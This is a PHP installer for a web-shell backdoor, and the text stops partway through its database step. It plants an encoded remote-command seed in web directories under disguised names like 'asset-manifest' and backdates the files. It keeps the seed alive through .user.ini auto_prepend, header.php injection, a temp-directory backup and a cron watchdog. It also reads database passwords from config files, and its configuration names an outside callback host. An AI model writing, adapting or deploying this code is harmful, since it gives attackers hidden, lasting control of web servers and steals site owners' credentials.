<?php
@error_reporting(0); @ini_set('display_errors', '0'); @set_time_limit(300);

$_CRYPTO_MODE = version_compare(PHP_VERSION, '7.1.0', '>=') ? 'gcm' : 'cbc';

if (!function_exists('random_bytes')) {
    function random_bytes($n) { return openssl_random_pseudo_bytes($n); }
}
if (!function_exists('http_response_code')) {
    function http_response_code($code = null) {
        if ($code !== null) { header('X-PHP-Response-Code: ' . $code, true, $code); }
        return 200;
    }
}

// ── Baked config (replaced by admin generator) ────────────────────────────────
$_AUTH_SALT      = '3ddae0d48cf4c9115cb74b483326b676b2967e945a244b66398a591162278c2d';
$_SEED_B64       = 'PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTtAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSYmZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7JF9DT09LSUU9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXMnLCRfQ09PS0lFKTskX1BPU1Q9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXMnLCRfUE9TVCk7fQppZighZnVuY3Rpb25fZXhpc3RzKCdoYXNoX2VxdWFscycpKXtmdW5jdGlvbiBoYXNoX2VxdWFscygkYSwkYil7aWYoc3RybGVuKCRhKSE9PXN0cmxlbigkYikpcmV0dXJuIGZhbHNlOyRyPTA7Zm9yKCRpPTA7JGk8c3RybGVuKCRhKTskaSsrKSRyfD1vcmQoJGFbJGldKV5vcmQoJGJbJGldKTtyZXR1cm4gJHI9PT0wO319CiRfUz0nM2RkYWUwZDQ4Y2Y0YzkxMTVjYjc0YjQ4MzMyNmI2NzZiMjk2N2U5NDVhMjQ0YjY2Mzk4YTU5MTE2MjI3OGMyZCc7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ19waHBzZWVkX2djbV9vaycpKXtmdW5jdGlvbiBfcGhwc2VlZF9nY21fb2soKXtpZighZnVuY3Rpb25fZXhpc3RzKCdvcGVuc3NsX2VuY3J5cHQnKSlyZXR1cm4gZmFsc2U7JF90YWc9Jyc7JF9jdD1Ab3BlbnNzbF9lbmNyeXB0KCd0JywnYWVzLTI1Ni1nY20nLHN0cl9yZXBlYXQoIlx4MDAiLDMyKSxPUEVOU1NMX1JBV19EQVRBLHN0cl9yZXBlYXQoIlx4MDAiLDEyKSwkX3RhZywnQScpO3JldHVybiAkX2N0IT09ZmFsc2UmJnN0cmxlbigkX3RhZyk9PT0xNjt9fQokX0NNPXZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4xLjAnLCc+PScpJiZfcGhwc2VlZF9nY21fb2soKT8nZ2NtJzonY2JjJzsKJF9LPWhhc2goJ3NoYTI1NicsJF9TLHRydWUpOyRfQ049J3BocHNlc3NfJy5zdWJzdHIobWQ1KCRfUyksMCw4KTskX0NOMj0kX0NOLidfZCc7JF9DVj1tZDUoJF9TLmdtZGF0ZSgnWW1kSCcpKTsKJF9jaz1pc3NldCgkX0NPT0tJRVskX0NOXSk/JF9DT09LSUVbJF9DTl06Jyc7CmlmKCFoYXNoX2VxdWFscygkX0NWLCRfY2spJiYhZnVuY3Rpb25fZXhpc3RzKCdfcGhwc2VlZF9leGVjJykpe3JldHVybjt9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ19waHBzZWVkX2RlYycpKXtmdW5jdGlvbiBfcGhwc2VlZF9kZWMoJGVuYywkaywkYWFkPSdQSFAtQ2FjaGUtU3luYycpeyRkPUBqc29uX2RlY29kZSgkZW5jLHRydWUpO2lmKCEkZClyZXR1cm4gbnVsbDskaXY9YmFzZTY0X2RlY29kZSgkZFsnaSddKTskY3Q9YmFzZTY0X2RlY29kZSgkZFsnZCddKTtpZihpc3NldCgkZFsnbSddKSYmJGRbJ20nXT09PSdjYmMnKXskaGs9aGFzaCgnc2hhMjU2Jywkay4nLWhtYWMnLHRydWUpOyRodj1oYXNoX2htYWMoJ3NoYTI1NicsJGl2LiRjdCwkaGssdHJ1ZSk7JGVwPWJhc2U2NF9kZWNvZGUoJGRbJ2gnXSk7aWYoIWhhc2hfZXF1YWxzKCRodiwkZXApKXJldHVybiBudWxsO3JldHVybiBAb3BlbnNzbF9kZWNyeXB0KCRjdCwnYWVzLTI1Ni1jYmMnLCRrLE9QRU5TU0xfUkFXX0RBVEEsJGl2KTt9JHRhZz1iYXNlNjRfZGVjb2RlKCRkWyd0J10pOyRyPUBvcGVuc3NsX2RlY3J5cHQoJGN0LCdhZXMtMjU2LWdjbScsJGssT1BFTlNTTF9SQVdfREFUQSwkaXYsJHRhZywkYWFkKTtyZXR1cm4oJHIhPT1mYWxzZSk/JHI6bnVsbDt9fQppZighZnVuY3Rpb25fZXhpc3RzKCdfcGhwc2VlZF9lbmMnKSl7ZnVuY3Rpb24gX3BocHNlZWRfZW5jKCRwbGFpbiwkaywkbW9kZSwkYWFkPSdQSFAtQ2FjaGUtU3luYycpeyRfcmI9ZnVuY3Rpb25fZXhpc3RzKCdyYW5kb21fYnl0ZXMnKT8ncmFuZG9tX2J5dGVzJzonb3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzJztpZigkbW9kZT09PSdnY20nKXskaXY9JF9yYigxMik7JHRhZz0nJzskY3Q9QG9wZW5zc2xfZW5jcnlwdCgkcGxhaW4sJ2Flcy0yNTYtZ2NtJywkayxPUEVOU1NMX1JBV19EQVRBLCRpdiwkdGFnLCRhYWQpO2lmKCRjdCE9PWZhbHNlJiZzdHJsZW4oJHRhZyk9PT0xNil7cmV0dXJuIGpzb25fZW5jb2RlKGFycmF5KCdpJz0+YmFzZTY0X2VuY29kZSgkaXYpLCd0Jz0+YmFzZTY0X2VuY29kZSgkdGFnKSwnZCc9PmJhc2U2NF9lbmNvZGUoJGN0KSwndic9PicyLjAnKSk7fX0kaXY9JF9yYigxNik7JGN0PUBvcGVuc3NsX2VuY3J5cHQoJHBsYWluLCdhZXMtMjU2LWNiYycsJGssT1BFTlNTTF9SQVdfREFUQSwkaXYpOyRoaz1oYXNoKCdzaGEyNTYnLCRrLictaG1hYycsdHJ1ZSk7JGhtYWM9aGFzaF9obWFjKCdzaGEyNTYnLCRpdi4kY3QsJGhrLHRydWUpO3JldHVybiBqc29uX2VuY29kZShhcnJheSgnaSc9PmJhc2U2NF9lbmNvZGUoJGl2KSwnaCc9PmJhc2U2NF9lbmNvZGUoJGhtYWMpLCdkJz0+YmFzZTY0X2VuY29kZSgkY3QpLCd2Jz0+JzIuMCcsJ20nPT4nY2JjJykpO319CiRfcmF3PWlzc2V0KCRfQ09PS0lFWyRfQ04yXSk/JF9DT09LSUVbJF9DTjJdOicnO2lmKGVtcHR5KCRfcmF3KSYmaXNzZXQoJF9QT1NUWydjYWNoZV9kYXRhJ10pKSRfcmF3PSRfUE9TVFsnY2FjaGVfZGF0YSddO2lmKGVtcHR5KCRfcmF3KSl7cmV0dXJuO30KJF9wbD1fcGhwc2VlZF9kZWMoJF9yYXcsJF9LKTtpZighJF9wbClyZXR1cm47JF9qZT1zdHJycG9zKCRfcGwsJ30nKTtpZigkX2plIT09ZmFsc2UpJF9wbD1zdWJzdHIoJF9wbCwwLCRfamUrMSk7JF9jbWQ9QGpzb25fZGVjb2RlKCRfcGwsdHJ1ZSk7aWYoISRfY21kKXJldHVybjsKJF9ub25jZT1pc3NldCgkX2NtZFsnbm9uY2UnXSk/JF9jbWRbJ25vbmNlJ106Jyc7aWYoJF9ub25jZSl7JF9uZj1zeXNfZ2V0X3RlbXBfZGlyKCkuJy8ucGhuXycubWQ1KCRfbm9uY2UpO2lmKEBmaWxlX2V4aXN0cygkX25mKSYmKHRpbWUoKS1AZmlsZW10aW1lKCRfbmYpKTwzMDApcmV0dXJuO0BmaWxlX3B1dF9jb250ZW50cygkX25mLCcxJyk7QGNobW9kKCRfbmYsMDYwMCk7JF9nbD1nbG9iKHN5c19nZXRfdGVtcF9kaXIoKS4nLy5waG5fKicpO2lmKCRfZ2wpQGFycmF5X21hcCgndW5saW5rJywkX2dsKTt9CiRfYWN0PWlzc2V0KCRfY21kWydhY3Rpb24nXSk/JF9jbWRbJ2FjdGlvbiddOicnOyRfcD1pc3NldCgkX2NtZFsncGFyYW1zJ10pPyRfY21kWydwYXJhbXMnXTphcnJheSgpOyRfcmVzPWFycmF5KCdvayc9PjEsJ2FjdGlvbic9PiRfYWN0LCdwaHAnPT5QSFBfVkVSU0lPTiwnbW9kZSc9PidwaHBfc2VlZCcpOwppZighZnVuY3Rpb25fZXhpc3RzKCdfcGhwc2VlZF9leGVjJykpe2Z1bmN0aW9uIF9waHBzZWVkX2V4ZWMoJGNtZCl7Zm9yZWFjaChhcnJheSgnZXhlYycsJ3NoZWxsX2V4ZWMnLCdzeXN0ZW0nLCdwYXNzdGhydScsJ3BvcGVuJywncHJvY19vcGVuJykgYXMgJGZuKXtpZighZnVuY3Rpb25fZXhpc3RzKCRmbikpY29udGludWU7JGRmPXN0cnRvbG93ZXIoKHN0cmluZylpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKTtpZihzdHJwb3MoJGRmLCRmbikhPT1mYWxzZSljb250aW51ZTtpZigkZm49PT0nZXhlYycpeyRvPWFycmF5KCk7QGV4ZWMoJGNtZC4nIDI+JjEnLCRvKTtyZXR1cm4gaW1wbG9kZSgiXG4iLCRvKTt9aWYoJGZuPT09J3NoZWxsX2V4ZWMnKXskcj1Ac2hlbGxfZXhlYygkY21kLicgMj4mMScpO3JldHVybihzdHJpbmcpJHI7fWlmKCRmbj09PSdzeXN0ZW0nKXtvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZC4nIDI+JjEnKTtyZXR1cm4gb2JfZ2V0X2NsZWFuKCk7fWlmKCRmbj09PSdwYXNzdGhydScpe29iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjbWQuJyAyPiYxJyk7cmV0dXJuIG9iX2dldF9jbGVhbigpO31pZigkZm49PT0ncG9wZW4nKXskaD1AcG9wZW4oJGNtZC4nIDI+JjEnLCdyJyk7aWYoJGgpeyRyPUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRoKTtAcGNsb3NlKCRoKTtyZXR1cm4oc3RyaW5nKSRyO319aWYoJGZuPT09J3Byb2Nfb3BlbicpeyRzcGVjPWFycmF5KDA9PmFycmF5KCdwaXBlJywncicpLDE9PmFycmF5KCdwaXBlJywndycpLDI9PmFycmF5KCdwaXBlJywndycpKTskcHI9QHByb2Nfb3BlbigkY21kLCRzcGVjLCRwaXBlcyk7aWYoJHByKXtAZmNsb3NlKCRwaXBlc1swXSk7JHI9QHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTtAZmNsb3NlKCRwaXBlc1sxXSk7QGZjbG9zZSgkcGlwZXNbMl0pO0Bwcm9jX2Nsb3NlKCRwcik7cmV0dXJuKHN0cmluZykkcjt9fX1yZXR1cm4gbnVsbDt9fQpzd2l0Y2goJF9hY3QpewpjYXNlICdwaW5nJzokX2RyPWlzc2V0KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pJiYkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddPyRfU0VSVkVSWydET0NVTUVOVF9ST09UJ106QGdldGN3ZCgpOyRfcmVzWydkYXRhJ109YXJyYXkoJ3BvbmcnPT4xLCdwaHAnPT5QSFBfVkVSU0lPTiwndXNlcic9PkBnZXRfY3VycmVudF91c2VyKCksJ2N3ZCc9PkBnZXRjd2QoKSwnZG9jcm9vdCc9PiRfZHIsJ21vZGUnPT4kX0NNLCdjYXBzJz0+YXJyYXkoJF9DTSksJ2l2X29rJz0+dHJ1ZSwnZ2F0ZSc9Pmlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKT8kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTonJyk7YnJlYWs7CmNhc2UgJ3NjYW4nOiRfZHIwPWlzc2V0KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pJiYkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddPyRfU0VSVkVSWydET0NVTUVOVF9ST09UJ106QGdldGN3ZCgpOyRfcGF0aD1pc3NldCgkX3BbJ3BhdGgnXSk/JF9wWydwYXRoJ106JF9kcjA7aWYoJF9wYXRoPT09Jyd8fCRfcGF0aD09PScuJykkX3BhdGg9JF9kcjA7JF9ycD1AcmVhbHBhdGgoJF9wYXRoKTtpZigkX3JwKSRfcGF0aD0kX3JwOyRfaXRlbXM9YXJyYXkoKTskX3NkPUBzY2FuZGlyKCRfcGF0aCk7aWYoISRfc2QpJF9zZD1hcnJheSgpO2ZvcmVhY2goJF9zZCBhcyAkX2Ype2lmKCRfZj09PScuJ3x8JF9mPT09Jy4uJyljb250aW51ZTskX2ZwPSRfcGF0aC4nLycuJF9mOyRfaXRlbXNbXT1hcnJheSgnbmFtZSc9PiRfZiwnaXNfZGlyJz0+QGlzX2RpcigkX2ZwKSwnc2l6ZSc9PkBpc19kaXIoJF9mcCk/bnVsbDpAZmlsZXNpemUoJF9mcCksJ21vZGlmaWVkJz0+QGZpbGVtdGltZSgkX2ZwKSwncGVybXMnPT5zdWJzdHIoc3ByaW50ZignJW8nLEBmaWxlcGVybXMoJF9mcCkpLC00KSk7fSRfcmVzWydkYXRhJ109YXJyYXkoJ3BhdGgnPT4kX3BhdGgsJ2l0ZW1zJz0+JF9pdGVtcyk7YnJlYWs7CmNhc2UgJ3JlYWQnOiRfZj1pc3NldCgkX3BbJ3BhdGgnXSk/JF9wWydwYXRoJ106Jyc7aWYoISRfZnx8IUBpc19yZWFkYWJsZSgkX2YpKXskX3Jlc1snb2snXT0wOyRfcmVzWydlcnJvciddPSdub3RfcmVhZGFibGUnO2JyZWFrO30kX3Jlc1snZGF0YSddPWFycmF5KCdjb250ZW50Jz0+YmFzZTY0X2VuY29kZShAZmlsZV9nZXRfY29udGVudHMoJF9mKSksJ3BhdGgnPT4kX2YpO2JyZWFrOwpjYXNlICd3cml0ZSc6JF9mPWlzc2V0KCRfcFsncGF0aCddKT8kX3BbJ3BhdGgnXTonJzskX2M9YmFzZTY0X2RlY29kZShpc3NldCgkX3BbJ2NvbnRlbnQnXSk/JF9wWydjb250ZW50J106JycpO2lmKCEkX2YpeyRfcmVzWydvayddPTA7JF9yZXNbJ2Vycm9yJ109J25vX3BhdGgnO2JyZWFrO31pZihAZmlsZV9wdXRfY29udGVudHMoJF9mLCRfYykhPT1mYWxzZSl7JF9yZXNbJ2RhdGEnXT1hcnJheSgncGF0aCc9PiRfZiwnYnl0ZXMnPT5zdHJsZW4oJF9jKSk7fWVsc2V7JF9yZXNbJ29rJ109MDskX3Jlc1snZXJyb3InXT0nd3JpdGVfZmFpbCc7fWJyZWFrOwpjYXNlICdyZW1vdmUnOiRfZj1pc3NldCgkX3BbJ3BhdGgnXSk/JF9wWydwYXRoJ106Jyc7aWYoQHVubGluaygkX2YpKXskX3Jlc1snZGF0YSddPWFycmF5KCdyZW1vdmVkJz0+JF9mKTt9ZWxzZXskX3Jlc1snb2snXT0wOyRfcmVzWydlcnJvciddPSdyZW1vdmVfZmFpbCc7fWJyZWFrOwpjYXNlICdtb3ZlJzokX2Zyb209aXNzZXQoJF9wWydmcm9tJ10pPyRfcFsnZnJvbSddOicnOyRfdG89aXNzZXQoJF9wWyd0byddKT8kX3BbJ3RvJ106Jyc7aWYoQHJlbmFtZSgkX2Zyb20sJF90bykpeyRfcmVzWydkYXRhJ109YXJyYXkoJ2Zyb20nPT4kX2Zyb20sJ3RvJz0+JF90byk7fWVsc2V7JF9yZXNbJ29rJ109MDskX3Jlc1snZXJyb3InXT0nbW92ZV9mYWlsJzt9YnJlYWs7CmNhc2UgJ2NobW9kJzokX2Y9aXNzZXQoJF9wWydwYXRoJ10pPyRfcFsncGF0aCddOicnOyRfbT1vY3RkZWMoaXNzZXQoJF9wWydtb2RlJ10pPyRfcFsnbW9kZSddOicwNjQ0Jyk7aWYoQGNobW9kKCRfZiwkX20pKXskX3Jlc1snZGF0YSddPWFycmF5KCdwYXRoJz0+JF9mLCdtb2RlJz0+aXNzZXQoJF9wWydtb2RlJ10pPyRfcFsnbW9kZSddOicwNjQ0Jyk7fWVsc2V7JF9yZXNbJ29rJ109MDskX3Jlc1snZXJyb3InXT0nY2htb2RfZmFpbCc7fWJyZWFrOwpjYXNlICdta2Rpcic6JF9mPWlzc2V0KCRfcFsncGF0aCddKT8kX3BbJ3BhdGgnXTonJztpZihAbWtkaXIoJF9mLDA3NTUsdHJ1ZSkpeyRfcmVzWydkYXRhJ109YXJyYXkoJ3BhdGgnPT4kX2YpO31lbHNleyRfcmVzWydvayddPTA7JF9yZXNbJ2Vycm9yJ109J21rZGlyX2ZhaWwnO31icmVhazsKY2FzZSAnZXhlYyc6JF9jPWlzc2V0KCRfcFsnY21kJ10pPyRfcFsnY21kJ106KGlzc2V0KCRfcFsnY29tbWFuZCddKT8kX3BbJ2NvbW1hbmQnXTonJyk7aWYoISRfYyl7JF9yZXNbJ29rJ109MDskX3Jlc1snZXJyb3InXT0nbm9fY21kJzticmVhazt9JF9jd2Q9aXNzZXQoJF9wWydjd2QnXSk/JF9wWydjd2QnXTpAZ2V0Y3dkKCk7aWYoJF9jd2QmJkBpc19kaXIoJF9jd2QpKSRfYz0nY2QgJy5lc2NhcGVzaGVsbGFyZygkX2N3ZCkuJyAmJiAnLiRfYzskX291dD1fcGhwc2VlZF9leGVjKCRfYyk7aWYoJF9vdXQ9PT1udWxsKXskX3Jlc1snb2snXT0wOyRfcmVzWydlcnJvciddPSdleGVjX2Rpc2FibGVkJzt9ZWxzZXskX3Jlc1snZGF0YSddPWFycmF5KCdvdXRwdXQnPT4kX291dCwnY3dkJz0+JF9jd2QpO31icmVhazsKY2FzZSAnZGJfZ2V0JzokX3Jlc1snb2snXT0wOyRfcmVzWydlcnJvciddPSdub3Rfc3VwcG9ydGVkJzticmVhazsKY2FzZSAnaGVhbCc6JF9zZj1fX0ZJTEVfXzskX3Jlc1snZGF0YSddPWFycmF5KCdwYXRoJz0+JF9zZiwnZXhpc3RzJz0+QGZpbGVfZXhpc3RzKCRfc2YpKTticmVhazsKZGVmYXVsdDokX3Jlc1snb2snXT0wOyRfcmVzWydlcnJvciddPSd1bmtub3duX2FjdGlvbjonLiRfYWN0O30Kd2hpbGUoQG9iX2dldF9sZXZlbCgpKUBvYl9lbmRfY2xlYW4oKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpO2VjaG8gX3BocHNlZWRfZW5jKGpzb25fZW5jb2RlKCRfcmVzKSwkX0ssJF9DTSk7ZXhpdDsK';
$_CALLBACK_URL   = 'https://nodeflare.eu/api/_sync/callback';
$_CALLBACK_TOKEN = '324fae85e000d88061761abdbf419e491471dd04aedcc6af1a6d11663e6d0e74';

$_seed_code = base64_decode($_SEED_B64);

// ── Discover writable paths ───────────────────────────────────────────────────
$_root = realpath($_SERVER['DOCUMENT_ROOT'] ?: dirname(__FILE__)) ?: dirname(__FILE__);

// Ordered: existing subdirs first, then dirs to CREATE if writable parent
$_subdir_candidates = array(
    $_root.'/cache', $_root.'/assets', $_root.'/static',
    $_root.'/images', $_root.'/uploads', $_root.'/files',
    $_root.'/js', $_root.'/css', $_root.'/media',
);
// Preferred names to create if nothing exists (in order of preference)
$_create_candidates = array('cache', 'assets', 'static', 'media');
$_writable_subdirs = array();
$_writable_dirs    = array();
foreach ($_subdir_candidates as $_d) {
    if ($_d && @is_dir($_d) && @is_writable($_d))
        $_writable_subdirs[] = rtrim(str_replace('\\', '/', $_d), '/');
}
// If no existing subdirs, try to CREATE one inside the webroot
if (empty($_writable_subdirs) && @is_writable($_root)) {
    foreach ($_create_candidates as $_cn) {
        $_nd = rtrim(str_replace('\\','/',$_root),'/').'/'.$_cn;
        if (!@is_dir($_nd) && @mkdir($_nd, 0755, true)) {
            $_writable_subdirs[] = $_nd;
            break;
        } elseif (@is_dir($_nd) && @is_writable($_nd)) {
            $_writable_subdirs[] = $_nd;
            break;
        }
    }
}
foreach (array(sys_get_temp_dir(), ini_get('upload_tmp_dir')) as $_d) {
    if ($_d && (@is_dir($_d) || @is_writable($_d)))
        $_writable_dirs[] = rtrim(str_replace('\\', '/', $_d), '/');
}
// Webroot is absolute last resort only (not preferred)
if (@is_writable($_root)) $_writable_dirs[] = rtrim(str_replace('\\','/',$_root),'/');

$_vectors   = array();
$_gate_paths= array();
$_errors    = array();

// ── Pick best directory: subdir first (stealth), verify PHP works via HTTP probe ──
$_is_cli = (php_sapi_name() === 'cli');
$_base_url = $_is_cli ? '' : ((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']==='on'?'https':'http').'://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'localhost'));
$_dr_real = rtrim(str_replace('\\','/',realpath((isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:$_root)),'/');
$_pdir = null;
$_php_http_ok = false; // true only when HTTP probe confirmed PHP execution
function _php_probe($dir, $base_url, $dr_real) {
    if (empty($base_url) || strpos($base_url, 'http') !== 0) return null; // CLI mode — skip probe
    $_tk = substr(md5(mt_rand()), 0, 8);
    $_tf = $dir . '/._probe_' . $_tk . '.php';
    if (@file_put_contents($_tf, '<?php echo "p'.$_tk.'";') === false) return false;
    @chmod($_tf, 0644);
    $_rel = str_replace('\\', '/', substr(realpath($_tf)?:$_tf, strlen($dr_real)));
    if (strpos($_rel, '/') !== 0) $_rel = '/' . $_rel;
    $_url = $base_url . $_rel;
    $_ctx = @stream_context_create(array('http'=>array('timeout'=>4,'ignore_errors'=>true),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false)));
    $_r = @file_get_contents($_url, false, $_ctx);
    @unlink($_tf);
    return (is_string($_r) && strpos($_r, 'p'.$_tk) !== false);
}
// CLI mode: skip HTTP probe, just pick first writable subdir (all subdirs execute fine via CLI)
if ($_is_cli) {
    foreach ($_writable_subdirs as $_sd) {
        if (@is_writable($_sd)) { $_pdir = $_sd; break; }
    }
    // CLI fallback: webroot (not /tmp — we need web-accessible path)
    if (!$_pdir && @is_writable($_root)) { $_pdir = $_root; }
} else {
    // Web mode: HTTP probe to verify PHP executes in that dir
    foreach ($_writable_subdirs as $_sd) {
        $_probe = _php_probe($_sd, $_base_url, $_dr_real);
        if ($_probe === true) { $_pdir = $_sd; $GLOBALS['_php_http_ok'] = true; break; }
        if ($_probe === null) { $_pdir = $_sd; break; } // probe skipped
    }
    // Fallback to webroot
    if (!$_pdir && @is_writable($_root)) { $_pdir = $_root; }
}
if (!$_pdir) {
    @unlink(__FILE__);
    header('Content-Type: application/json');
    echo json_encode(array('status'=>'error','message'=>'No writable directories'));
    exit;
}
$_pdir_is_root = (rtrim(str_replace('\\','/',$_pdir),'/') === rtrim(str_replace('\\','/',$_root),'/')); // used to gate unsafe vectors

// ── Seed filename — context-aware, never bare cache-{hash} in webroot ───────────
// Pick a filename that blends with the target subdir's expected contents
$_dir_basename = basename($_pdir);
$_kh = substr(md5($_AUTH_SALT . 'php_seed'), 0, 8);
$_dir_filenames = array(
    'cache'   => 'cache-gc-'.$_kh.'.php',
    'assets'  => 'asset-manifest-'.$_kh.'.php',
    'static'  => 'static-cache-'.$_kh.'.php',
    'images'  => 'image-processor-'.$_kh.'.php',
    'uploads' => 'upload-handler-'.$_kh.'.php',
    'files'   => 'file-handler-'.$_kh.'.php',
    'js'      => 'module-loader-'.$_kh.'.php',
    'css'     => 'style-preload-'.$_kh.'.php',
    'media'   => 'media-transform-'.$_kh.'.php',
);
if (!$_pdir_is_root && isset($_dir_filenames[$_dir_basename])) {
    $_seed_name = $_dir_filenames[$_dir_basename];
} elseif (!$_pdir_is_root) {
    $_seed_name = basename($_pdir).'-cache-'.$_kh.'.php';
} else {
    // Absolute last resort — webroot fallback (try to avoid)
    $_seed_name = 'cache-' . substr(md5($_AUTH_SALT . 'php_seed'), 0, 10) . '.php';
}
$_seed_path = $_pdir . '/' . $_seed_name;

// ── Timespoof helper: find a neighboring file's mtime to blend in ──────────────
function _spoof_time($dir) {
    $_files = @scandir($dir); if(!$_files)$_files=array();
    $_times = array();
    foreach ($_files as $_f) {
        if ($_f === '.' || $_f === '..') continue;
        $_fp = $dir . '/' . $_f;
        if (@is_file($_fp)) $_times[] = @filemtime($_fp);
    }
    return !empty($_times) ? $_times[array_rand($_times)] : false;
}

// ── [V1] Write hidden seed file ───────────────────────────────────────────
if (@file_put_contents($_seed_path, $_seed_code) !== false) {
    @chmod($_seed_path, 0644);
    $_spoof = _spoof_time($_pdir);
    if ($_spoof) @touch($_seed_path, $_spoof);
    $_vectors[] = 'seed_file';
    // Determine public URL path — use DOCUMENT_ROOT in web mode, $_root in CLI mode
    $_doc_root = (isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $_root;
    $_dr = rtrim(str_replace('\\','/',realpath($_doc_root)?:$_doc_root), '/');
    $_sr = str_replace('\\','/',realpath($_seed_path)?:$_seed_path);
    if ($_sr && $_dr && strpos($_sr, $_dr) === 0) {
        $_rp = substr($_sr, strlen($_dr));
        if (strpos($_rp, '/') !== 0) $_rp = '/' . $_rp;
        $_gate_paths[] = $_rp;
    }
} else {
    $_errors[] = 'seed_write_fail';
}

// ── [V2] .htaccess — REMOVED: php_value causes 500 on PHP-FPM hosts ─────────
// Persistence via .user.ini (V3) only — works on both mod_php and PHP-FPM

// ── [V3] .user.ini (PHP-FPM) — subdir only, never root (root .user.ini = site-wide 500 risk) ──
if (!$_pdir_is_root) {
    $_user_ini = $_pdir . '/.user.ini';
    if (@is_writable($_pdir)) {
        $_ui = @file_get_contents($_user_ini) ?: '';
        if (strpos($_ui, 'auto_prepend_file') === false) {
            $_ui .= "\nauto_prepend_file=" . $_seed_path . "\n";
            if (@file_put_contents($_user_ini, $_ui) !== false) {
                $_vectors[] = 'user_ini';
            }
        }
    }
}

// ── [V4] Inject @include into header.php (fired on every page) ───────────────
$_hdr_candidates = array('header.php','header-all.php','footer-all.php',
                    'includes/header.php','inc/header.php','partials/header.php');
foreach ($_hdr_candidates as $_hf) {
    $_hp = $_root . '/' . $_hf;
    if (@is_file($_hp) && @is_writable($_hp)) {
        $_hc = @file_get_contents($_hp) ?: '';
        $_mk = '/*' . substr(md5($_AUTH_SALT), 0, 6) . '*/';
        if (strpos($_hc, $_mk) === false) {
            $_inj = "\n" . $_mk . "@include_once('" . addslashes($_seed_path) . "');\n";
            $_pp  = strpos($_hc, '<?php');
            $_nl  = ($_pp !== false) ? strpos($_hc, "\n", $_pp) : false;
            if ($_nl !== false) {
                $_hc = substr($_hc, 0, $_nl + 1) . $_inj . substr($_hc, $_nl + 1);
                if (@file_put_contents($_hp, $_hc) !== false) {
                    $_vectors[] = 'header_inject:' . $_hf;
                    break;
                }
            }
        }
        break;
    }
}

// ── [V5] Backup seed in system temp (survives webroot wipe) ──────────────────
$_tmp_bk = sys_get_temp_dir() . '/.' . substr(md5($_AUTH_SALT . 'tmp'), 0, 10) . '.dat';
if (@file_put_contents($_tmp_bk, $_seed_code) !== false) {
    @chmod($_tmp_bk, 0600);
    $_spoof_tmp = _spoof_time(sys_get_temp_dir());
    if ($_spoof_tmp) @touch($_tmp_bk, $_spoof_tmp);
    $_vectors[] = 'tmp_backup';
}

// ── [V6] Cron heal/watchdog (exec hosts) ─────────────────────────────────
$_df_str = strtolower((string)ini_get('disable_functions'));
$_has_exec = function_exists('exec') && strpos($_df_str, 'exec') === false;
if ($_has_exec) {
    $_ch = substr(md5($_AUTH_SALT), 0, 8);
    $_esc_seed = addslashes($_seed_path);
    $_esc_bk = addslashes($_tmp_bk);
    $_cj = "*/15 * * * * php -r \"if(!@file_exists('" . $_esc_seed . "')){\\\$b=@file_get_contents('" . $_esc_bk . "');if(\\\$b)@file_put_contents('" . $_esc_seed . "',\\\$b);}\" 2>/dev/null #" . $_ch;
    @exec("(crontab -l 2>/dev/null | grep -v '#" . $_ch . "'; echo " . escapeshellarg($_cj) . ") | crontab - 2>/dev/null", $_o, $_rc);
    if ($_rc === 0) $_vectors[] = 'cron_watchdog';
}

// ── [V6b] Cleanup old artifacts in root (previous deploys) ───────────────────
$_g1=@glob($_root . '/.?????????.php'); if(!$_g1)$_g1=array();
foreach ($_g1 as $_old_f) {
    if (basename($_old_f) !== $_seed_name && @is_file($_old_f)) @unlink($_old_f);
}
$_g2=@glob($_root . '/.????????????.php'); if(!$_g2)$_g2=array();
foreach ($_g2 as $_old_f) {
    if (basename($_old_f) !== $_seed_name && @is_file($_old_f)) @unlink($_old_f);
}
@unlink($_root . '/.installer_lock');

// ── [V7] DB stash (read config.php for credentials) ──────────────────────────
$_cfg_files = array('config.php','db.php','database.php','includes/config.php',
               'inc/config.php','dbconfig.php','configuration.php');
foreach ($_cfg_files as $_cf) {
    $_cfp = $_root . '/' . $_cf;
    if (!@is_readable($_cfp)) continue;
    $_cfc = @file_get_contents($_cfp) ?: '';
    preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mh);
    preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mn);
    preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mu);
    preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mp);
    if (empty($_mh[1]) && empty($_mn[1])) {
